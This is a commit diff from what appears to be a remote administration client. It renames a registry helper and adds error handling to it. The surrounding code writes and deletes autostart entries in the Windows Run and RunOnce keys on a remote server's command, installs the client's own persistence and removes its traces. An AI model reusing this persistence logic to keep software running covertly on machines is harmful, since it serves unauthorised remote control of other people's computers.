Added safe way to open subkey with write access

This commit is contained in:
MaxXor 2015-06-02 20:38:44 +02:00
parent 253507a613
commit 7d153c416c
3 changed files with 27 additions and 20 deletions

View File

@ -154,7 +154,7 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com
switch (command.Type)
{
case 0:
using (var key = Registry.LocalMachine.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
using (var key = Registry.LocalMachine.OpenWritableSubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key == null) throw new ArgumentException("Registry key does not exist");
if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
@ -164,7 +164,7 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com
}
break;
case 1:
using (var key = Registry.LocalMachine.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
using (var key = Registry.LocalMachine.OpenWritableSubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
{
if (key == null) throw new ArgumentException("Registry key does not exist");
if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
@ -174,7 +174,7 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com
}
break;
case 2:
using (var key = Registry.CurrentUser.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
using (var key = Registry.CurrentUser.OpenWritableSubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key == null) throw new ArgumentException("Registry key does not exist");
if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
@ -184,7 +184,7 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com
}
break;
case 3:
using (var key = Registry.CurrentUser.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
using (var key = Registry.CurrentUser.OpenWritableSubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
{
if (key == null) throw new ArgumentException("Registry key does not exist");
if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
@ -197,7 +197,7 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com
if (OSInfo.Bits != 64)
throw new NotSupportedException("Only on 64-bit systems supported");
using (var key = Registry.LocalMachine.OpenWritableSubKey("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"))
using (var key = Registry.LocalMachine.OpenWritableSubKeySafe("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key == null) throw new ArgumentException("Registry key does not exist");
if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
@ -210,7 +210,7 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com
if (OSInfo.Bits != 64)
throw new NotSupportedException("Only on 64-bit systems supported");
using (var key = Registry.LocalMachine.OpenWritableSubKey("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
using (var key = Registry.LocalMachine.OpenWritableSubKeySafe("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
{
if (key == null) throw new ArgumentException("Registry key does not exist");
if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
@ -262,7 +262,7 @@ public static void HandleAddRemoveStartupItem(Packets.ServerPackets.RemoveStartu
case 0:
using (
var key =
Registry.LocalMachine.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
Registry.LocalMachine.OpenWritableSubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key == null) throw new Exception("Registry key does not exist");
key.DeleteValue(command.Name, true);
@ -272,7 +272,7 @@ public static void HandleAddRemoveStartupItem(Packets.ServerPackets.RemoveStartu
case 1:
using (
var key =
Registry.LocalMachine.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
Registry.LocalMachine.OpenWritableSubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
{
if (key == null) throw new Exception("Registry key does not exist");
key.DeleteValue(command.Name, true);
@ -282,7 +282,7 @@ public static void HandleAddRemoveStartupItem(Packets.ServerPackets.RemoveStartu
case 2:
using (
var key =
Registry.CurrentUser.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
Registry.CurrentUser.OpenWritableSubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key == null) throw new Exception("Registry key does not exist");
key.DeleteValue(command.Name, true);
@ -292,7 +292,7 @@ public static void HandleAddRemoveStartupItem(Packets.ServerPackets.RemoveStartu
case 3:
using (
var key =
Registry.CurrentUser.OpenWritableSubKey(
Registry.CurrentUser.OpenWritableSubKeySafe(
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
{
if (key == null) throw new Exception("Registry key does not exist");
@ -306,7 +306,7 @@ public static void HandleAddRemoveStartupItem(Packets.ServerPackets.RemoveStartu
using (
var key =
Registry.LocalMachine.OpenWritableSubKey(
Registry.LocalMachine.OpenWritableSubKeySafe(
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key == null) throw new Exception("Registry key does not exist");
@ -320,7 +320,7 @@ public static void HandleAddRemoveStartupItem(Packets.ServerPackets.RemoveStartu
using (
var key =
Registry.LocalMachine.OpenWritableSubKey(
Registry.LocalMachine.OpenWritableSubKeySafe(
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
{
if (key == null) throw new Exception("Registry key does not exist");

View File

@ -70,9 +70,16 @@ public static RegistryKey OpenReadonlySubKeySafe(this RegistryKey key, string na
/// <param name="name">The name of the sub-key.</param>
/// <returns>Returns the sub-key obtained from the key and name provided; Returns null if
/// unable to obtain a sub-key.</returns>
public static RegistryKey OpenWritableSubKey(this RegistryKey key, string name)
public static RegistryKey OpenWritableSubKeySafe(this RegistryKey key, string name)
{
return key.OpenSubKey(name, true);
try
{
return key.OpenSubKey(name, true);
}
catch
{
return null;
}
}
/// <summary>

View File

@ -415,7 +415,7 @@ public static void AddToStartup()
{
using (
RegistryKey key =
Registry.LocalMachine.OpenWritableSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
Registry.LocalMachine.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key == null) throw new Exception();
key.SetValue(Settings.STARTUPKEY, InstallPath);
@ -428,7 +428,7 @@ public static void AddToStartup()
{
using (
RegistryKey key =
Registry.CurrentUser.OpenWritableSubKey(
Registry.CurrentUser.OpenWritableSubKeySafe(
"Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key == null) throw new Exception();
@ -447,7 +447,7 @@ public static void AddToStartup()
{
using (
RegistryKey key =
Registry.CurrentUser.OpenWritableSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
Registry.CurrentUser.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key == null) throw new Exception();
key.SetValue(Settings.STARTUPKEY, InstallPath);
@ -588,7 +588,7 @@ public static void RemoveTraces()
{
using (
RegistryKey key =
Registry.LocalMachine.OpenWritableSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
Registry.LocalMachine.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key != null)
{
@ -602,7 +602,7 @@ public static void RemoveTraces()
// try deleting from Registry.CurrentUser
using (
RegistryKey key =
Registry.CurrentUser.OpenWritableSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
Registry.CurrentUser.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key != null)
{
@ -618,7 +618,7 @@ public static void RemoveTraces()
{
using (
RegistryKey key =
Registry.CurrentUser.OpenWritableSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
Registry.CurrentUser.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key != null)
{